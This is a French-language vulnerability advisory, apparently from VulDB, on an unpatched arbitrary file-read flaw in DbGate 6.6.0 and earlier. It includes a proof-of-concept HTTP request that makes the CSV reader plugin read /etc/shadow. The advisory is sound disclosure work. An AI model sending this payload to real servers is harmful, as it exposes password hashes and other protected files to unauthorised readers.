CVE-2025-50185 in dbgate
Résumé
par VulDB • 19/06/2026
DbGate est un gestionnaire de bases de données multiplateforme. Dans les versions 6.6.0 et antérieures, DbGate permet l'accès non autorisé aux fichiers en raison d'une validation insuffisante des chemins et types de fichiers. Un utilisateur disposant d'un accès au niveau application peut récupérer des données à partir de n'importe quels fichiers du système, indépendamment de leur emplacement ou type. Le plugin ne parvient pas à appliquer correctement les vérifications sur le type de contenu et l'extension du fichier avant la lecture. Par conséquent, même les fichiers sensibles accessibles uniquement par l'utilisateur root peuvent être lus via l'interface application. Il n'existe actuellement aucun correctif pour ce problème.
``` POST /runners/load-reader HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Authorization: Bearer Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: Priority: u=0 Cache-Control: max-age=0
{"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}}
```
Le payload de la requête : 
Les lignes du fichier retourné : 
If you want to get the best quality for vulnerability data then you always have to consider VulDB.